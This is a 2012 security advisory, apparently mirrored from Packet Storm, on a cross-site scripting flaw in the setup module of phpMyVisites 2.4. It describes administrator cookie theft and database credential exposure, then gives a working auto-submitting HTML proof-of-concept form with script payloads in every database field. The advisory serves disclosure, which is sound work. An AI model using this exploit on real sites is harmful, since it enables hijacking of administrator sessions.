phpMyVisites 2.4 Cross Site Scripting

🗓️ 09 Mar 2012 00:00:00Reported by AkastepType

packetstorm🔗 packetstormsecurity.com👁 19 Views

phpMyVisites 2.4 Cross Site Scripting vulnerability in install_database_setup modul

`============================================================  
Vulnerable Software:  
phpMyVisites 2.4 (version.php 238 2009-12-16 19:48:15Z matthieu_ $  
More info can be found here: http://www.phpmyvisites.us/  
============================================================  
============================================================  
phpMyVisites 2.4 Is vulnerable to Cross Site Scripting attack.  
============================================================  
Tested on: Windows XP SP2 (32 bit)  
Apache: 2.2.21.0  
PHP Version: 5.2.17.17  
mysql> select version()  
-> ;  
+-----------+  
| version() |  
+-----------+  
| 5.5.21 |  
+-----------+  
*/  
============================================================  
Vuln Desc:  
Problem in that: phpMyVisites 2.4 after installation doesn't requires  
uninstalling of setup module.(Only administrator can access this module)  
(phpmv2/index.php?mod=install_database_setup)  
Which is prone to Cross site Scripting vulnerability due insufficent sanitization:  
  
Note: Attack Scenario:  
A) Admin logins to system.(needs authentication)  
B) And clicks on crafted link (below you can see it -Proof Of Concept exploit)  
Successfully attack exploitation may result of stealing currently logged administrator's cookies which using it attacker  
can login system as admin and reinstall application (overwrite installation)),  
or steal database credentials(because this script fills inputs automatically from config) which is viewable  
(only database password is MD5 encrypted in inputbox and can be viewed from source code of page as MD5 encrypted)  
  
Also I noticed it's cookies doesn't expires after succesfully *logging out*.  
So stealed cookies can be used as "backdoor" to access system again.  
  
============================================================  
  
  
  
=============== PROOF OF CONCEPT EXPLOIT ==================  
<html>  
<head>  
<title>Warning! This is Proof Of Concept Exploit for phpMyVisites 2.4 (version.php 238 2009-12-16 19:48:15Z matthieu_ $)</title>  
</head>  
<h1> Warning! This is a Proof Of Concept Exploit for phpMyVisites 2.4:<br/></h1>  
<p>// $Id: version.php 238 2009-12-16 19:48:15Z matthieu_ $  
PHPMV_VERSION 2.4  
</p>  
  
  
</h1>  
<body onload="javascript:document.forms[0].submit()">  
  
<form action="http://CHANGE_TO_RTARGET/phpmv2/index.php?mod=install_database_setup" method="post" name="form_phpmv" id="form_phpmv">  
  
  
<input value="<script>alert(document.cookie);</script>" name="form_dblogin" type="hidden" />  
<input value="<script>alert(document.cookie);</script>" name="form_dbpassword" type="hidden" />  
<input value="<script>alert(document.cookie);</script>" name="form_dbhost" type="hidden" />  
<input value="<script>alert(document.cookie);</script>" name="form_dbname" type="hidden" />  
<input value="<script>alert(document.cookie);</script>" name="form_dbprefix" type="hidden"/></td>  
  
<!--- Author: AkaStep -->  
</form>  
</body>  
</html>  
  
===============EOF PROOF OF CONCEPT EXPLOIT ==================  
  
Print screen:  
  
http://s018.radikal.ru/i505/1203/ba/26343fa7963b.png  
  
================================================================  
  
  
/AkaStep ^_^  
  
  
1331239741  
  
  
  
  
`

09 Mar 2012 00:00Current

0.1Low risk

Vulners AI Score0.1